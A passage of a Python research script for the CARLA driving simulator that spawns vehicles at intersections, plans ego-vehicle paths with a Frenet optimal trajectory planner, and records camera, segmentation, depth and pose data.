pygame.draw.lines(display, (255, 136, 0), False, points, 2)\n item = None\n v_offset += 18\n elif isinstance(item, tuple):\n if isinstance(item[1], bool):\n rect = pygame.Rect((bar_h_offset, v_offset + 8), (6, 6))\n pygame.draw.rect(display, (255, 255, 255), rect, 0 if item[1] else 1)\n else:\n rect_border = pygame.Rect((bar_h_offset, v_offset + 8), (bar_width, 6))\n pygame.draw.rect(display, (255, 255, 255), rect_border, 1)\n f = (item[1] - item[2]) / (item[3] - item[2])\n if item[2] < 0.0:\n rect = pygame.Rect((bar_h_offset + f * (bar_width - 6), v_offset + 8), (6, 6))\n else:\n rect = pygame.Rect((bar_h_offset, v_offset + 8), (f * bar_width, 6))\n pygame.draw.rect(display, (255, 255, 255), rect)\n item = item[0]\n if item: # At this point has to be a str.\n surface = self._font_mono.render(item, True, (255, 255, 255))\n display.blit(surface, (8, v_offset))\n v_offset += 18\n self._notifications.render(display)\n self.help.render(display)\n\n# ==============================================================================\n# -- FadingText ----------------------------------------------------------------\n# ==============================================================================\n\n\nclass FadingText(object):\n def __init__(self, font, dim, pos):\n self.font = font\n self.dim = dim\n self.pos = pos\n self.seconds_left = 0\n self.surface = pygame.Surface(self.dim)\n\n def set_text(self, text, color=(255, 255, 255), seconds=2.0):\n text_texture = self.font.render(text, True, color)\n self.surface = pygame.Surface(self.dim)\n self.seconds_left = seconds\n self.surface.fill((0, 0, 0, 0))\n self.surface.blit(text_texture, (10, 11))\n\n def tick(self, _, clock):\n delta_seconds = 1e-3 * clock.get_time()\n self.seconds_left = max(0.0, self.seconds_left - delta_seconds)\n self.surface.set_alpha(500.0 * self.seconds_left)\n\n def render(self, display):\n display.blit(self.surface, self.pos)\n\n# ==============================================================================\n# -- HelpText ------------------------------------------------------------------\n# ==============================================================================\n\n\nclass HelpText(object):\n def __init__(self, font, width, height):\n lines = __doc__.split('\\n')\n self.font = font\n self.dim = (680, len(lines) * 22 + 12)\n self.pos = (0.5 * width - 0.5 * self.dim[0], 0.5 * height - 0.5 * self.dim[1])\n self.seconds_left = 0\n self.surface = pygame.Surface(self.dim)\n self.surface.fill((0, 0, 0, 0))\n for n, line in enumerate(lines):\n text_texture = self.font.render(line, True, (255, 255, 255))\n self.surface.blit(text_texture, (22, n * 22))\n self._render = False\n self.surface.set_alpha(220)\n\n def toggle(self):\n self._render = not self._render\n\n def render(self, display):\n if self._render:\n display.blit(self.surface, self.pos)\n\n# ==============================================================================\n# -- CollisionSensor -----------------------------------------------------------\n# ==============================================================================\n\n\nclass CollisionSensor(object):\n def __init__(self, parent_actor, hud):\n self.sensor = None\n self.history = []\n self._parent = parent_actor\n self.hud = hud\n world = self._parent.get_world()\n bp = world.get_blueprint_library().find('sensor.other.collision')\n self.sensor = world.spawn_actor(bp, carla.Transform(), attach_to=self._parent)\n # We need to pass the lambda a weak reference to self to avoid circular\n # reference.\n weak_self = weakref.ref(self)\n self.sensor.listen(lambda event: CollisionSensor._on_collision(weak_self, event))\n\n def get_collision_history(self):\n history = collections.defaultdict(int)\n for frame, intensity in self.history:\n history[frame] += intensity\n return history\n\n @staticmethod\n def _on_collision(weak_self, event):\n self = weak_self()\n if not self:\n return\n actor_type = get_actor_display_name(event.other_actor)\n self.hud.notification('Collision with %r' % actor_type)\n impulse = event.normal_impulse\n intensity = math.sqrt(impulse.x ** 2 + impulse.y ** 2 + impulse.z ** 2)\n self.history.append((event.frame_number, intensity))\n if len(self.history) > 4000:\n self.history.pop(0)\n\n# ==============================================================================\n# -- LaneInvasionSensor --------------------------------------------------------\n# ==============================================================================\n\n\nclass LaneInvasionSensor(object):\n def __init__(self, parent_actor, hud):\n self.sensor = None\n self._parent = parent_actor\n self.hud = hud\n world = self._parent.get_world()\n bp = world.get_blueprint_library().find('sensor.other.lane_invasion')\n self.sensor = world.spawn_actor(bp, carla.Transform(), attach_to=self._parent)\n # We need to pass the lambda a weak reference to self to avoid circular\n # reference.\n weak_self = weakref.ref(self)\n self.sensor.listen(lambda event: LaneInvasionSensor._on_invasion(weak_self, event))\n\n @staticmethod\n def _on_invasion(weak_self, event):\n self = weak_self()\n if not self:\n return\n lane_types = set(x.type for x in event.crossed_lane_markings)\n text = ['%r' % str(x).split()[-1] for x in lane_types]\n self.hud.notification('Crossed line %s' % ' and '.join(text))\n\n# ==============================================================================\n# -- GnssSensor --------------------------------------------------------\n# ==============================================================================\n\n\nclass GnssSensor(object):\n def __init__(self, parent_actor):\n self.sensor = None\n self._parent = parent_actor\n self.lat = 0.0\n self.lon = 0.0\n world = self._parent.get_world()\n bp = world.get_blueprint_library().find('sensor.other.gnss')\n self.sensor = world.spawn_actor(bp, carla.Transform(carla.Location(x=1.0, z=2.8)),\n attach_to=self._parent)\n # We need to pass the lambda a weak reference to self to avoid circular\n # reference.\n weak_self = weakref.ref(self)\n self.sensor.listen(lambda event: GnssSensor._on_gnss_event(weak_self, event))\n\n @staticmethod\n def _on_gnss_event(weak_self, event):\n self = weak_self()\n if not self:\n return\n self.lat = event.latitude\n self.lon = event.longitude\n\n# ==============================================================================\n# -- CameraManager -------------------------------------------------------------\n# ==============================================================================\n\n\nclass CameraManager(object):\n def __init__(self, parent_actor, hud):\n self.sensor = None\n self.surface = None\n self._parent = parent_actor\n self.hud = hud\n self.recording = False\n self._camera_transforms = [\n carla.Transform(carla.Location(x=-5.5, z=2.8), carla.Rotation(pitch=-15)),\n carla.Transform(carla.Location(x=1.6, z=1.7))]\n self.transform_index = 1\n self.sensors = [\n ['sensor.camera.rgb', cc.Raw, 'Camera RGB'],\n ['sensor.camera.depth', cc.Raw, 'Camera Depth (Raw)'],\n ['sensor.camera.depth', cc.Depth, 'Camera Depth (Gray Scale)'],\n ['sensor.camera.depth', cc.LogarithmicDepth, 'Camera Depth (Logarithmic Gray Scale)'],\n ['sensor.camera.semantic_segmentation', cc.Raw, 'Camera Semantic Segmentation (Raw)'],\n ['sensor.camera.semantic_segmentation', cc.CityScapesPalette,\n 'Camera Semantic Segmentation (CityScapes Palette)'],\n ['sensor.lidar.ray_cast', None, 'Lidar (Ray-Cast)']]\n world = self._parent.get_world()\n bp_library = world.get_blueprint_library()\n for item in self.sensors:\n bp = bp_library.find(item[0])\n if item[0].startswith('sensor.camera'):\n bp.set_attribute('image_size_x', str(hud.dim[0]))\n bp.set_attribute('image_size_y', str(hud.dim[1]))\n elif item[0].startswith('sensor.lidar'):\n bp.set_attribute('range', '5000')\n item.append(bp)\n self.index = None\n\n def toggle_camera(self):\n self.transform_index = (self.transform_index + 1) % len(self._camera_transforms)\n self.sensor.set_transform(self._camera_transforms[self.transform_index])\n\n def set_sensor(self, index, notify=True):\n index = index % len(self.sensors)\n needs_respawn = True if self.index is None \\\n else self.sensors[index][0] != self.sensors[self.index][0]\n if needs_respawn:\n if self.sensor is not None:\n self.sensor.destroy()\n self.surface = None\n self.sensor = self._parent.get_world().spawn_actor(\n self.sensors[index][-1],\n self._camera_transforms[self.transform_index],\n attach_to=self._parent)\n # We need to pass the lambda a weak reference to self to avoid\n # circular reference.\n weak_self = weakref.ref(self)\n self.sensor.listen(lambda image: CameraManager._parse_image(weak_self, image))\n if notify:\n self.hud.notification(self.sensors[index][2])\n self.index = index\n\n def next_sensor(self):\n self.set_sensor(self.index + 1)\n\n def toggle_recording(self):\n self.recording = not self.recording\n self.hud.notification('Recording %s' % ('On' if self.recording else 'Off'))\n\n def render(self, display):\n if self.surface is not None:\n display.blit(self.surface, (0, 0))\n\n @staticmethod\n def _parse_image(weak_self, image):\n self = weak_self()\n if not self:\n return\n if self.sensors[self.index][0].startswith('sensor.lidar'):\n points = np.frombuffer(image.raw_data, dtype=np.dtype('f4'))\n points = np.reshape(points, (int(points.shape[0] / 3), 3))\n lidar_data = np.array(points[:, :2])\n lidar_data *= min(self.hud.dim) / 100.0\n lidar_data += (0.5 * self.hud.dim[0], 0.5 * self.hud.dim[1])\n lidar_data = np.fabs(lidar_data) # pylint: disable=E1111\n lidar_data = lidar_data.astype(np.int32)\n lidar_data = np.reshape(lidar_data, (-1, 2))\n lidar_img_size = (self.hud.dim[0], self.hud.dim[1], 3)\n lidar_img = np.zeros(lidar_img_size)\n lidar_img[tuple(lidar_data.T)] = (255, 255, 255)\n self.surface = pygame.surfarray.make_surface(lidar_img)\n else:\n image.convert(self.sensors[self.index][1])\n array = np.frombuffer(image.raw_data, dtype=np.dtype(\"uint8\"))\n array = np.reshape(array, (image.height, image.width, 4))\n array = array[:, :, :3]\n array = array[:, :, ::-1]\n self.surface = pygame.surfarray.make_surface(array.swapaxes(0, 1))\n if self.recording:\n image.save_to_disk('_out/%08d' % image.frame_number)\n\n\n# ==============================================================================\n# -- A*_waypoints() ---------------------------------------------------------\n# ==============================================================================\n\n\ndef get_points(world, agent):\n tops = agent._local_planner._waypoints_queue\n wrs = world.world\n wx = []\n wy = []\n dl = []\n dr = []\n for i in range(len(tops)-1):\n w1 = tops[i][0]\n w2 = tops[i+1][0]\n lane_width = w1.lane_width\n\n lcolor = w1.left_lane_marking.color\n ltype = w1.left_lane_marking.type\n rcolor = w1.right_lane_marking.color\n rtype = w1.right_lane_marking.type\n\n lchange = w1.lane_change\n\n if lchange == carla.libcarla.LaneChange.Both:\n dleft = -lane_width\n dright = lane_width\n elif lchange == carla.libcarla.LaneChange.Right:\n dleft = -0.01\n dright = lane_width\n elif lchange == carla.libcarla.LaneChange.Left:\n dleft = -lane_width\n dright = 0.01\n elif lchange == carla.libcarla.LaneChange.NONE:\n dleft = -0.01\n dright = 0.01\n else:\n raise ValueError('LaneChange decision error')\n # dleft = 0\n # dright = 0.001\n\n if i > 0:\n temp_1x = wx[-1]\n temp_1y = wy[-1]\n temp_2x = w1.transform.location.x\n temp_2y = w1.transform.location.y\n if ((temp_1x-temp_2x)**2+ (temp_1y-temp_2y)**2) <= 1e-5:\n continue\n\n wx.append(w1.transform.location.x)\n wy.append(w1.transform.location.y)\n dl.append(dleft)\n dr.append(dright)\n # if DEBUG_PATH:\n # wrs.debug.draw_line(w1.transform.location, w2.transform.location, \n # color = carla.Color(r=0, g=0, b=255), thickness=0.3, \\\n # life_time=50, persistent_lines=True)\n return wx, wy, dl, dr\n\n\n\ndef get_obstacles(world, agent):\n ob = []\n actor_list = world.world.get_actors()\n vehicle_list = actor_list.filter(\"*vehicle*\")\n ego_location = agent._vehicle.get_location()\n ego_location.x = ego_location.x\n ego_location.y = ego_location.y\n ego_id = agent._vehicle.id\n for target_vehicle in vehicle_list:\n # do not account for the ego vehicle\n if target_vehicle.id == ego_id:\n continue\n target_location = target_vehicle.get_location()\n if is_within_distance(target_location, ego_location, 40):\n temp_vel = target_vehicle.get_velocity()\n temp_vel = (np.hypot(temp_vel.x, temp_vel.y))\n # print(temp_vel)\n temp_omega = target_vehicle.get_angular_velocity()\n temp_omega = np.hypot(temp_omega.z, temp_omega.y)\n temp_ob = {}\n temp_ob['x0'] = target_location.x\n temp_ob['y0'] = target_location.y\n temp_ob['th0'] = (target_vehicle.get_transform().rotation.yaw)*(math.pi/180) \n temp_ob['v'] = temp_vel\n temp_ob['w'] = temp_omega*(math.pi/180) #not documented if deg/s or rad/s\n ob.append(temp_ob)\n return ob\n\n\ndef hazard_check(world, agent, allowed_cut, DEBUG_PATH):\n # code sourced from basic_agent.py\n\n hazard_detected = False\n\n # retrieve relevant elements for safe navigation, i.e.: traffic lights\n # and other vehicles\n actor_list = world.world.get_actors()\n vehicle_list = actor_list.filter(\"*vehicle*\")\n lights_list = actor_list.filter(\"*traffic_light*\")\n\n # check possible obstacles\n vehicle_state, vehicle, target_dist_1 = agent._is_vehicle_hazard(vehicle_list)\n if vehicle_state and not(allowed_cut):\n # if DEBUG_PATH:\n # print('!!! VEHICLE BLOCKING AHEAD [{}])'.format(vehicle.id))\n\n hazard_detected = True\n target_dist_1 = target_dist_1 - 6.0\n\n # check for the state of the traffic lights\n # light_state, traffic_light, target_dist_2 = agent._is_light_red(lights_list, DEBUG_PATH)\n # if light_state:\n # hazard_detected = True\n # if target_dist_2 >= 27:\n # target_dist_2 = target_dist_2 - 26.0\n # else:\n # target_dist_2 = 27.0/target_dist_2\n target_dist_2 = -1000.0\n target_dist = max(target_dist_1, target_dist_2)\n if target_dist == target_dist_1:\n harzard_type = 'VEHICLE'\n else:\n harzard_type = 'LIGHT'\n\n return hazard_detected, target_dist, harzard_type\n\n\n\n# ==============================================================================\n# -- game_loop() ---------------------------------------------------------\n# ==============================================================================\n\ndef game_loop(args):\n all_pts = {}\n town_no = 3\n \n if town_no == 5:\n ## town 5\n #### intersection 01\n temp = {}\n temp['n'] = 3\n temp[0] = [104, 115, 134, 135, 105, 106]\n temp[1] = [26, 27, 156, 157, 82, 88]\n temp[2] = [73, 75]\n temp['g'] = [21, 132, 208]\n all_pts[1] = temp\n\n #### intersection 02\n temp = {}\n temp['n'] = 3\n temp[0] = [163, 164, 165]\n temp[1] = [132, 133, 127, 138]\n temp[2] = [170, 177, 178]\n temp['g'] = [135, 171, 170]\n all_pts[2] = temp\n\n #### intersection 03\n temp = {}\n temp['n'] = 4\n temp[0] = [92, 91]\n temp[1] = [73, 75]\n temp[2] = [149, 150, 111, 113]\n temp[3] = [32, 33, 0, 2]\n temp['g'] = [185, 185, 18, 65]\n all_pts[3] = temp\n\n\n #### intersection 04\n temp = {}\n temp['n'] = 3\n temp[0] = [74, 79, 20, 21, 147, 148]\n temp[1] = [160, 161, 28, 29, 128, 129]\n temp[2] = [107, 108]\n temp['g'] = [8, 157, 27]\n all_pts[4] = temp\n\n\n #### intersection 05\n temp = {}\n temp['n'] = 4\n temp[0] = [93, 94]\n temp[1] = [18, 19, 54, 64]\n temp[2] = [24, 25, 187, 188, 47, 49]\n temp[3] = [17, 16]\n temp['g'] = [0, 126, 194, 162]\n all_pts[5] = temp\n\n \n #### intersection 06\n temp = {}\n temp['n'] = 3\n temp[0] = [1, 6, 189, 190, 46, 48]\n temp[1] = [201, 206]\n temp[2] = [120, 121]\n temp['g'] = [140, 192, 22]\n all_pts[6] = temp\n\n elif town_no == 3:\n #town 03\n ### intersection 01\n temp = {}\n temp['n'] = 3\n temp[0] = [74, 73]\n temp[1] = [172, 173]\n temp[2] = [62, 63]\n temp['g'] = [61, 72, 72]\n all_pts[1] = temp\n\n ### intersection 02\n temp = {}\n temp['n'] = 4\n temp[0] = [100, 36, 92, 35]\n temp[1] = [130, 120, 103, 102]\n temp[2] = [32, 33, 34, 90, 101, 108, 43, 111]\n temp[3] = [28, 29, 30, 31, 193, 194]\n temp['g'] = [25, 25, 132, 132]\n all_pts[2] = temp\n\n ### intersection 03\n temp = {}\n temp['n'] = 2\n temp[0] = [163]\n temp[1] = [93, 94, 26, 27, 16, 25, 14, 15, 12, 13, 10, 11]\n temp[2] = [191]\n temp[3] = [61, 199]\n temp['g'] = [125, 9, 195, 30]\n all_pts[3] = temp\n\n ### intersection 04\n temp = {}\n temp['n'] = 4\n temp[0] = [183, 182, 56, 55, 84, 81, 119, 116]\n temp[1] = [146, 145, 48, 47, 52, 49, 54, 53, 97, 98]\n temp[2] = [192, 8, 9, 164]\n temp[3] = [175, 174, 0, 7, 57, 58, 153, 154]\n temp['g'] = [42, 44, 42, 1]\n all_pts[4] = temp\n\n ### intersection 05\n temp = {}\n temp['n'] = 2\n temp[0] = [50, 51]\n temp[1] = [158, 151, 60, 59]\n temp['g'] = [188, 188]\n all_pts[5] = temp\n else:\n print(\"Not selected any town\")\n return\n\n\n sel_intersection = random.randint(1, len(all_pts))\n intersection_list = all_pts[sel_intersection]\n ego_direction = random.randint(0, intersection_list['n']-1)\n ego_start = random.choice(intersection_list[ego_direction])\n ego_end = intersection_list['g'][ego_direction]\n other_directions = list(range(intersection_list['n']))\n if ego_direction in intersection_list: \n other_directions.remove(ego_direction)\n\n ilist = []\n sel_cars = random.randint(1, len(other_directions))\n for car in range(sel_cars):\n cur_direction = random.choice(other_directions)\n ilist.append(random.choice(intersection_list[cur_direction]))\n other_directions.remove(cur_direction)\n\n pygame.init()\n pygame.font.init()\n world = None\n\n try:\n client = carla.Client(args.host, args.port)\n client.set_timeout(20.0)\n\n if RECORD_DATA:\n client.start_recorder(args.file_name + '.log')\n display = pygame.display.set_mode(\n (args.width, args.height),\n pygame.HWSURFACE | pygame.DOUBLEBUF)\n\n hud = HUD(args.width, args.height)\n world = World(client.get_world(), hud, args.filter, ego_start)\n controller = KeyboardControl(world, False)\n blueprint_library = world.world.get_blueprint_library()\n\n print('enabling synchronous mode.')\n settings = world.world.get_settings()\n settings.synchronous_mode = True\n world.world.apply_settings(settings)\n\n if args.agent == \"Roaming\":\n agent = RoamingAgent(world.player)\n else:\n agent = BasicAgent(world.player)\n spawn_point = world.map.get_spawn_points()[ego_end]\n if INTERSECTION_START:\n agent.set_destination((spawn_point.location.x,\n spawn_point.location.y,\n spawn_point.location.z))\n else:\n # point 1\n # agent.set_destination((-61.0, -139.0, 0.0))\n # point 2\n # agent.set_destination((-58.0, -3.0, 0.0))\n # point 3\n agent.set_destination((25.8, -206, 0.0))\n\n # waypoints to destination\n wx, wy, dl, dr = get_points(world, agent)\n ego_loc = agent._vehicle.get_location()\n\n # camera to record video\n camera_bp = blueprint_library.find('sensor.camera.rgb')\n camera_rgb_bp = blueprint_library.find('sensor.camera.rgb')\n semantic_segmentation_bp = blueprint_library.find('sensor.camera.semantic_segmentation')\n depth_bp = blueprint_library.find('sensor.camera.depth')\n\n camera_transform = carla.Transform(carla.Location(x=-5.5, z=2.8), carla.Rotation(pitch=-15))\n camera_rgb_tf = carla.Transform(carla.Location(x=0.8, z=1.7))\n semantic_segmentation_tf = carla.Transform(carla.Location(x=0.8, z=1.7))\n depth_tf = carla.Transform(carla.Location(x=0.8, z=1.7))\n\n camera = world.world.spawn_actor(camera_bp, camera_transform, attach_to=agent._vehicle)\n camera_rgb = world.world.spawn_actor(camera_rgb_bp, camera_rgb_tf, attach_to=agent._vehicle)\n semantic_segmentation = world.world.spawn_actor(semantic_segmentation_bp, semantic_segmentation_tf, attach_to=agent._vehicle)\n depth = world.world.spawn_actor(depth_bp, depth_tf, attach_to=agent._vehicle)\n\n image_queue = queue.Queue()\n camera.listen(image_queue.put)\n\n camera_rgb_queue = queue.Queue()\n camera_rgb.listen(camera_rgb_queue.put)\n\n semantic_segmentation_queue = queue.Queue()\n semantic_segmentation.listen(semantic_segmentation_queue.put)\n\n depth_queue = queue.Queue()\n depth.listen(depth_queue.put)\n\n # do orthogonal projection of initial location\n p0 = np.array([[wx[0], wy[0]]])\n v = np.array([[(wx[1]-wx[0]), (wy[1]-wy[0])]])\n p = np.array([[ego_loc.x, ego_loc.y]])\n temp_p = np.dot(v.T, v)/(np.dot(v, v.T)).item()\n fp = np.dot(temp_p, p.T) + np.dot((np.identity(2)-temp_p),p0.T)\n wx.pop(0)\n wy.pop(0)\n wx.insert(0,fp[0].item())\n wy.insert(0,fp[1].item())\n\n tx, ty, tyaw, tc, csp = frenet_optimal_trajectory.generate_target_course(wx, wy)\n dsp = csp.s\n clock = pygame.time.Clock()\n ego_location = agent._vehicle.get_location()\n c_speed = 10.0*np.random.random() # current speed [m/s]\n c_s_dd = 0\n # check outer product\n mx = (ego_location.x-tx[0])*(ty[1]-ty[0]) - (ego_location.y-ty[0])*(tx[1]-tx[0])\n if mx >= 0:\n c_d = -np.hypot(ego_location.x - tx[0], ego_location.y - ty[0]) # current lateral position [m]\n else:\n c_d = np.hypot(ego_location.x - tx[0], ego_location.y - ty[0])\n\n c_d_d = 0.0 # current lateral speed [m/s]\n c_d_dd = 0.0 # current latral acceleration [m/s]\n s0 = 0.0 # current course position\n agent._vehicle.set_simulate_physics(False)\n frame = None\n timestr = time.strftime(\"%Y%m%d-%H%M%S\")\n save_folder = '/home/sraone/mithun/temp2/set8'\n # save_folder = '/media/sraone/06705C17056FE5FC/carla_intersection_data/set1'\n if SAVE_VIDEO:\n # cur_date = datetime.datetime.today().strftime('%Y_%m_%d')\n os.makedirs(save_folder, exist_ok=True) \n vid_path = os.path.join(save_folder, str(args.file_name) + \".mp4\")\n writer = skvideo.io.FFmpegWriter(vid_path, inputdict={'-r':'10'}, \\\n outputdict={'-r':'10'})\n\n allowed_cut = True\n\n iters = 0\n start_time = time.time()\n spawn_distance = 60.0 # meters\n s_spawn = -1.0\n flag = 1\n actor_list = [camera, camera_rgb, semantic_segmentation, depth]\n ego_loc_list = [['x', 'y', 'z', 'yaw', 'pitch', 'roll', 'frame_num']]\n obstacle_loc_list = [['id', 'x', 'y', 'z', 'yaw', 'pitch', 'roll', 'frame_num']]\n skip_time = True\n skip_counter = 0\n \n while skip_time:\n if SPAWN_PLANNED and flag:\n spawn_points = world.map.get_spawn_points()\n vlist = [spawn_points[j] for j in ilist]\n bps = blueprint_library.filter('vehicle.nissan.micra')\n spawned_vehicle_counter = 0\n for i in range(len(vlist)):\n vehicle = world.world.try_spawn_actor(bps[0], vlist[i])\n if vehicle is not None:\n vehicle.set_autopilot(enabled=True)\n actor_list.append(vehicle)\n print('spawned vehicle ', str(i))\n spawned_vehicle_counter = spawned_vehicle_counter + 1\n\n if spawned_vehicle_counter < 2:\n raise ValueError(\"unable to spawn enough vehicles\")\n flag = 0\n world.tick(clock)\n world.world.tick()\n\n if not world.world.wait_for_tick(10.0):\n continue\n world.render(display)\n pygame.display.flip()\n image = image_queue.get()\n if SAVE_VIDEO:\n image_arr = to_bgra_array(image)\n # Convert BGRA to RGB.\n image_arr = image_arr[:, :, :3]\n image_arr = image_arr[:, :, ::-1]\n writer.writeFrame(image_arr)\n\n if SAVE_DATA:\n camera_rgb_dir = os.path.join(save_folder, 'rgb', args.file_name)\n semantic_segmentation_dir = os.path.join(save_folder, 'semantics', args.file_name)\n depth_dir = os.path.join(save_folder, 'depth', args.file_name)\n\n os.makedirs(camera_rgb_dir, exist_ok=True)\n os.makedirs(semantic_segmentation_dir, exist_ok=True)\n os.makedirs(depth_dir, exist_ok=True)\n\n camera_path = os.path.join(camera_rgb_dir, 'img_' + str(iters).zfill(4) + '.png')\n semantic_segmentation_path = os.path.join(semantic_segmentation_dir, 'img_' + str(iters).zfill(4) + '.png')\n depth_path = os.path.join(depth_dir, 'img_' + str(iters).zfill(4) + '.png')\n\n camera_rgb_img = camera_rgb_queue.get()\n camera_rgb_img.save_to_disk(camera_path)\n\n semantic_segmentation_img = semantic_segmentation_queue.get()\n semantic_segmentation_img.save_to_disk(semantic_segmentation_path)\n\n depth_img = depth_queue.get()\n depth_img.save_to_disk(depth_path)\n\n ego_tf = agent._vehicle.get_transform()\n\n ego_loc_list.append([\n ego_tf.location.x, \n ego_tf.location.y, \n ego_tf.location.z, \n ego_tf.rotation.yaw,\n ego_tf.rotation.pitch,\n ego_tf.rotation.roll,\n iters\n ])\n\n actors_all = world.world.get_actors().filter('vehicle.*')\n\n for actor in actors_all:\n if actor.id != agent._vehicle.id:\n actor_tf = actor.get_transform()\n obstacle_loc_list.append([\n actor.id,\n actor_tf.location.x,\n actor_tf.location.y,\n actor_tf.location.z,\n actor_tf.rotation.yaw,\n actor_tf.rotation.pitch,\n actor_tf.rotation.roll,\n iters\n ])\n\n skip_counter = skip_counter + 1\n print('SKIP COUNTER : ', skip_counter)\n if skip_counter >= 50:\n skip_time = False\n\n while True:\n \n if controller.parse_events(client, world, clock):\n return\n ob = get_obstacles(world, agent)\n\n print(\"-\"*100)\n print(\"Actors Position\")\n for i, actor in enumerate(actor_list):\n print(i, actor.get_location().x, actor.get_location().y)\n\n world.tick(clock)\n world.world.tick()\n\n if not world.world.wait_for_tick(10.0):\n continue\n world.render(display)\n pygame.display.flip()\n\n hazard_detected, target_dist, harzard_type = hazard_check(world, agent, allowed_cut, DEBUG_PATH)\n OPTION = []\n print('target_dist : ', target_dist)\n if target_dist >= 0.5 or target_dist <= -999.0:\n if hazard_detected:\n OPTION.append('STOP')\n OPTION.append(target_dist)\n OPTION.append(harzard_type)\n print('STOP')\n else:\n OPTION.append('OVERTAKE')\n print('OVERTAKE')\n\n SETS = {'MAX_SPEED':12.5, 'TARGET_SPEED':8.33, 'D_T_S':1.0, 'N_S_SAMPLE':8}\n path, selected_paths, allowed_cut, ob, ob_cv = frenet_optimal_planning(csp, s0, c_speed, c_d, c_d_d, c_d_dd, \\\n c_s_dd, ob, dl, dr, dsp, DTFPS, OPTION, SETS, -100, -100, -100, \"cv\", -100, -100, -100)\n else:\n pass\n\n\n for j in range(len(ob)):\n xs = ob[j]['x']\n ys = ob[j]['y']\n for i in range(len(xs)-1):\n w1 = carla.Location(x=xs[i], y=ys[i], z=0)\n wp1 = world.map.get_waypoint(w1)\n w1 = carla.Location(x=xs[i], y=ys[i], z=wp1.transform.location.z)\n w2 = carla.Location(x=xs[i+1], y=ys[i+1], z=0)\n wp2 = world.map.get_waypoint(w2)\n w2 = carla.Location(x=xs[i+1], y=ys[i+1], z=wp2.transform.location.z)\n world.world.debug.draw_line(w1, w2, \\\n color = carla.Color(r=0, g=0, b=255), thickness=0.1, \\\n life_time=0.1, persistent_lines=True)\n\n # needs to be changed if physics is on\n s0 = path.s[1]\n c_d = path.d[1]\n c_d_d = path.d_d[1]\n c_d_dd = path.d_dd[1]\n c_speed = path.s_d[1]\n c_s_dd = path.s_dd[1]\n print('path cost : ', path.cf)\n print('current yaw : ', (path.yaw[1])*(180/math.pi))\n print('current s : ', s0)\n print('time selected : ', path.t[-1])\n print('length of path : ', path.s[-1]-path.s[0])\n print('vehicle velocity: ', path.vx[1])\n\n if np.hypot(path.x[1] - tx[-1], path.y[1] - ty[-1]) <= 0.5:\n print(\"Goal reached\")\n break\n elif len(path.x) < 1:\n print(\"End\")\n break\n image = image_queue.get()\n # print('distance_travelled : ', s0)\n if SAVE_VIDEO:\n image_arr = to_bgra_array(image)\n # Convert BGRA to RGB.\n image_arr = image_arr[:, :, :3]\n image_arr = image_arr[:, :, ::-1]\n writer.writeFrame(image_arr)\n\n if SAVE_DATA:\n camera_rgb_dir = os.path.join(save_folder, 'rgb', args.file_name)\n semantic_segmentation_dir = os.path.join(save_folder, 'semantics', args.file_name)\n depth_dir = os.path.join(save_folder, 'depth', args.file_name)\n\n os.makedirs(camera_rgb_dir, exist_ok=True)\n os.makedirs(semantic_segmentation_dir, exist_ok=True)\n os.makedirs(depth_dir, exist_ok=True)\n\n camera_path = os.path.join(camera_rgb_dir, 'img_' + str(iters).zfill(4) + '.png')\n semantic_segmentation_path = os.path.join(semantic_segmentation_dir, 'img_' + str(iters).zfill(4) + '.png')\n depth_path = os.path.join(depth_dir, 'img_' + str(iters).zfill(4) + '.png')\n\n camera_rgb_img = camera_rgb_queue.get()\n camera_rgb_img.save_to_disk(camera_path)\n\n semantic_segmentation_img = semantic_segmentation_queue.get()\n semantic_segmentation_img.save_to_disk(semantic_segmentation_path)\n\n depth_img = depth_queue.get()\n depth_img.save_to_disk(depth_path)\n\n ego_tf = agent._vehicle.get_transform()\n\n ego_loc_list.append([\n ego_tf.location.x, \n ego_tf.location.y, \n ego_tf.location.z, \n ego_tf.rotation.yaw,\n ego_tf.rotation.pitch,\n ego_tf.rotation.roll,\n iters\n ])\n\n actors_all = world.world.get_actors().filter('vehicle.*')\n\n for actor in actors_all:\n if actor.id != agent._vehicle.id:\n actor_tf = actor.get_transform()\n obstacle_loc_list.append([\n actor.id,\n actor_tf.location.x,\n actor_tf.location.y,\n actor_tf.location.z,\n actor_tf.rotation.yaw,\n actor_tf.rotation.pitch,\n actor_tf.rotation.roll,\n iters\n ])\n\n temp_w = world.world.get_map().get_waypoint(carla.Location(x=path.x[1], y=path.y[1], z=0))\n \n if DEBUG_PATH:\n for i in range(len(path.x)-1):\n w1 = carla.Location(x=path.x[i], y=path.y[i], z=0)\n wp1 = world.map.get_waypoint(w1)\n w1 = carla.Location(x=path.x[i], y=path.y[i], z=wp1.transform.location.z)\n w2 = carla.Location(x=path.x[i+1], y=path.y[i+1], z=0)\n wp2 = world.map.get_waypoint(w2)\n w2 = carla.Location(x=path.x[i+1], y=path.y[i+1], z=wp2.transform.location.z)\n world.world.debug.draw_line(w1, w2, \\\n color = carla.Color(r=255, g=0, b=0), thickness=0.1, \\\n life_time=0.1, persistent_lines=True)\n if i == 0:\n world.world.debug.draw_line(w1, w2, \\\n color = carla.Color(r=0, g=255, b=0), thickness=0.3, \\\n life_time=10, persistent_lines=True)\n# for j in selected_paths:\n# for i in range(len(j.x)-1):\n# w1 = carla.Location(x=j.x[i], y=j.y[i], z=0)\n# wp1 = world.map.get_waypoint(w1)\n# w1 = carla.Location(x=j.x[i], y=j.y[i], z=wp1.transform.location.z)\n# w2 = carla.Location(x=j.x[i+1], y=j.y[i+1], z=0)\n# wp2 = world.map.get_waypoint(w2)\n# w2 = carla.Location(x=j.x[i+1], y=j.y[i+1], z=wp2.transform.location.z)\n# world.world.debug.draw_line(w1, w2, \\\n# color = carla.Color(r=255, g=0, b=0), thickness=0.1, \\\n# life_time=0.1, persistent_lines=True)\n # if abs(path.yaw[1] - path.yaw[0])*(180/math.pi) > 160 and abs(path.yaw[1] - path.yaw[0])*(180/math.pi) < 340:\n # temp_yaw = path.yaw[0]\n # else:\n # temp_yaw = path.yaw[1]\n agent._vehicle.set_transform(carla.Transform(carla.Location(x=path.x[1], y=path.y[1], \\\n z=temp_w.transform.location.z), carla.Rotation(yaw=(path.yaw[1])*(180/math.pi), \\\n pitch=temp_w.transform.rotation.pitch)))\n \n # control = agent.run_step()\n # print(control.throttle)\n # control.manual_gear_shift = False\n # world.player.apply_control(control)\n print('simulation time :', iters*DTFPS)\n if iters*DTFPS >= 180.0:\n break\n iters = iters + 1\n print('--------------------------------------------------------------------')\n\n finally:\n if RECORD_DATA:\n client.stop_recorder()\n if SAVE_DATA:\n ego_loc_dir = os.path.join(save_folder, 